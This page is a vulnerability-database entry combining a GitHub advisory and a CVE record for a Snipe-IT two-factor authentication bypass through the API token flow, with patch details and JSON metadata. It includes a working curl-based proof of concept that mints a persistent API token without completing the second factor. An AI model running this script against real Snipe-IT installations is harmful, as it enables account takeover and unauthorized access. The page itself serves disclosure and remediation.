Vulnerability-Lookup

GHSA-HXCX-9H4F-42XX

Vulnerability from github – Published: 2026-09-24 16:38 – Updated: 2026-09-24 16:38

Summary

Snipe-IT: 2FA bypass via the API token flow

Details

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php
'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],
'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor

Two consequences:

/two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

// app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.

The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/
USER=victim
PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to
#    /two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \
       | grep -oP 'name="_token" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
     --data-urlencode "_token=$csrf" \
     --data-urlencode "username=$USER" \
     --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so
#    CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's
#    cookie guard wants the session's own XSRF token echoed as a header,
#    which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
xsrf=$(printf '%b' "${xsrf//%/\\x}")
pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
      -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \
      --data-urlencode "name=poc" | jq -r '.payload.token')
echo "[3] token: $pat"

# 4. use the Bearer token against a real endpoint. /users/me returns the
#    victim's own account, proving the token acts as the victim with 2FA
#    never completed. (If the victim is an admin, the same token reaches the
#    whole API, e.g. GET /api/v1/users returns the full user directory.)
curl -s "$HOST/api/v1/users/me" \
     -H "Authorization: Bearer $pat" -H "Accept: application/json"

Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.

Patches

Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2fa_authed flag that CheckForTwoFactor relies on. Behavior:

Passes through when there's no authenticated user (leaves the standard auth:api 401 in place).
Passes through when two_factor_enabled is disabled in settings.
Under optional mode (two_factor_enabled = '1'), only enforces on users who explicitly set two_factor_optin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in.
Under required mode (two_factor_enabled = '2'), enforces regardless of optin.
Blocks with 403 + Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll')) when the token owner's two_factor_enrolled != '1'.

Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.

Credit

Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion SRT@submersion.ai.

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T16:38:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAn attacker who knows a victim\u0027s password fully bypasses that account\u0027s 2FA and obtains a persistent token with full API access as the user (read and write across the user\u0027s permissions, including admin if the victim is an admin).\n\nThe token is an API credential, not a web/UI session (using it on web routes redirects to `/login`), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin `users/two_factor_reset` endpoint, which is in the same un-gated API surface, to clear the account\u0027s enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account\u0027s web access and locking the legitimate user out.\n\n### Summary:\n\n2FA is enforced only by the `web` middleware group, not the `api` group, and the personal-access-token endpoint is in the `api` group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access. \n\n\n### Details:\n\n`CheckForTwoFactor` is in the `web` group but not the `api` group:\n\n    // app/Http/Kernel.php\n    \u0027web\u0027 =\u003e [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],\n    \u0027api\u0027 =\u003e [ \u0027auth:api\u0027, EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor\n\nTwo consequences:\n\n1. `/two-factor` is exempt from the check, and `CreateFreshApiToken` runs right after it in the web group:\n\n    // app/Http/Middleware/CheckForTwoFactor.php\n    public const IGNORE_ROUTES = [\u0027two-factor\u0027, \u0027two-factor-enroll\u0027, \u0027setup\u0027, \u0027logout\u0027];\n\nSo a password-authenticated session that lands on `/two-factor` (before entering a code) is let through and gets issued the Passport `snipeit_passport_token` cookie.\n\n2. The token endpoint is in the `api` group, which never checks 2FA, gated only by `self.api`:\n\n    // routes/api.php -\u003e Api\\ProfileController::createApiToken (line 98)\n    if (! Gate::allows(\u0027self.api\u0027)) { ... }   // the only gate; no 2FA check\n\nLogin authenticates on the password alone (`LoginController::login` calls `Auth::login`). 2FA is enforced only by `web` middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via `/two-factor`, and can call the token endpoint over the `api` group. The token is long-lived (40-year expiry by default) and grants full API access as the user.\n\n\n### Proof of concept:\n\nSetup: an account with 2FA enabled and the `self.api` permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.\n\n    HOST=https://snipeit.example.com/\n    USER=victim\n    PASS=\u0027victim-password\u0027\n\n    # 1. log in with the password only. Every web page now redirects to\n    #    /two-factor until a code is entered. never enter one.\n    csrf=$(curl -s -c cookies.txt \"$HOST/login\" \\\n           | grep -oP \u0027name=\"_token\" value=\"\\K[^\"]+\u0027)\n    curl -s -b cookies.txt -c cookies.txt \"$HOST/login\" \\\n         --data-urlencode \"_token=$csrf\" \\\n         --data-urlencode \"username=$USER\" \\\n         --data-urlencode \"password=$PASS\" -o /dev/null\n\n    # 2. GET /two-factor with no code. It is exempt from the 2FA check, so\n    #    CreateFreshApiToken issues the snipeit_passport_token cookie.\n    curl -s -b cookies.txt -c cookies.txt \"$HOST/two-factor\" -o /dev/null\n    grep -q snipeit_passport_token cookies.txt \u0026\u0026 echo \"[2] Passport cookie issued, no code\"\n\n    # 3. mint a persistent token over the api group (no 2FA check). Passport\u0027s\n    #    cookie guard wants the session\u0027s own XSRF token echoed as a header,\n    #    which our session already holds.\n    xsrf=$(awk \u0027/XSRF-TOKEN/{print $7}\u0027 cookies.txt | tail -1)\n    xsrf=$(printf \u0027%b\u0027 \"${xsrf//%/\\\\x}\")\n    pat=$(curl -s -b cookies.txt \"$HOST/api/v1/account/personal-access-tokens\" \\\n          -X POST -H \"Accept: application/json\" -H \"X-XSRF-TOKEN: $xsrf\" \\\n          --data-urlencode \"name=poc\" | jq -r \u0027.payload.token\u0027)\n    echo \"[3] token: $pat\"\n\n    # 4. use the Bearer token against a real endpoint. /users/me returns the\n    #    victim\u0027s own account, proving the token acts as the victim with 2FA\n    #    never completed. (If the victim is an admin, the same token reaches the\n    #    whole API, e.g. GET /api/v1/users returns the full user directory.)\n    curl -s \"$HOST/api/v1/users/me\" \\\n         -H \"Authorization: Bearer $pat\" -H \"Accept: application/json\"\n\nStep 3 returns a token with no code ever submitted, and step 4 returns the victim\u0027s own account (`{\"id\":1,\"username\":\"victim\",\"email\":...}`). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the `api` group simply never enforces it.\n\n## Patches\n\nFixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, `EnforceApiTwoFactorEnrollment`, registered on the `api` middleware group after `auth:api`. The new middleware answers the question \"does this token\u0027s owner have a second factor enrolled at all?\", which is orthogonal to the session-scoped `2fa_authed` flag that `CheckForTwoFactor` relies on. Behavior:\n\n- Passes through when there\u0027s no authenticated user (leaves the standard `auth:api` 401 in place).\n- Passes through when `two_factor_enabled` is disabled in settings.\n- Under optional mode (`two_factor_enabled = \u00271\u0027`), only enforces on users who explicitly set `two_factor_optin = \u00271\u0027`, matching the web-side behavior and preserving legacy PATs for users who never opted in.\n- Under required mode (`two_factor_enabled = \u00272\u0027`), enforces regardless of optin.\n- Blocks with 403 + `Helper::formatStandardApiResponse(\u0027error\u0027, null, trans(\u0027auth/message.two_factor.please_enroll\u0027))` when the token owner\u0027s `two_factor_enrolled != \u00271\u0027`.\n\nRegression coverage lives in `tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php`.\n\n### Credit\n\nReported first by [colinthebomb1](https://github.com/colinthebomb1) and [Theebanbabu](https://github.com/Theebanbabu), followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).",
  "id": "GHSA-hxcx-9h4f-42xx",
  "modified": "2026-09-24T16:38:28Z",
  "published": "2026-09-24T16:38:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/pull/19294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/commit/87c362962a670f427be071850b218e43eff5d08e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/commit/c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grokability/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Snipe-IT: 2FA bypass via the API token flow"
}

CVE-2026-63493 (GCVE-0-2026-63493)

Vulnerability from cvelistv5 – Published: 2026-09-24 16:37 – Updated: 2026-09-24 16:37

Title

Snipe-IT: 2FA bypass via the API token flow

Summary

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account's second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim's permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator's enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator's web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.

Severity

8.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-288 - Authentication Bypass Using an Alternate Path or Channel

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/grokability/snipe-it/security/…	x_refsource_CONFIRM
https://github.com/grokability/snipe-it/pull/19294	x_refsource_MISC
https://github.com/grokability/snipe-it/commit/87…	x_refsource_MISC
https://github.com/grokability/snipe-it/commit/c4…	x_refsource_MISC
https://github.com/grokability/snipe-it/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
grokability	snipe-it	Affected: < 8.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "snipe-it",
          "vendor": "grokability",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account\u0027s second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim\u0027s permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator\u0027s enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator\u0027s web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-288",
              "description": "CWE-288: Authentication Bypass Using an Alternate Path or Channel",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-24T16:37:09.832Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx"
        },
        {
          "name": "https://github.com/grokability/snipe-it/pull/19294",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/grokability/snipe-it/pull/19294"
        },
        {
          "name": "https://github.com/grokability/snipe-it/commit/87c362962a670f427be071850b218e43eff5d08e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/grokability/snipe-it/commit/87c362962a670f427be071850b218e43eff5d08e"
        },
        {
          "name": "https://github.com/grokability/snipe-it/commit/c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/grokability/snipe-it/commit/c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780"
        },
        {
          "name": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
        }
      ],
      "source": {
        "advisory": "GHSA-hxcx-9h4f-42xx",
        "discovery": "UNKNOWN"
      },
      "title": "Snipe-IT: 2FA bypass via the API token flow"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63493",
    "datePublished": "2026-09-24T16:37:09.832Z",
    "dateReserved": "2026-07-16T21:49:52.068Z",
    "dateUpdated": "2026-09-24T16:37:09.832Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted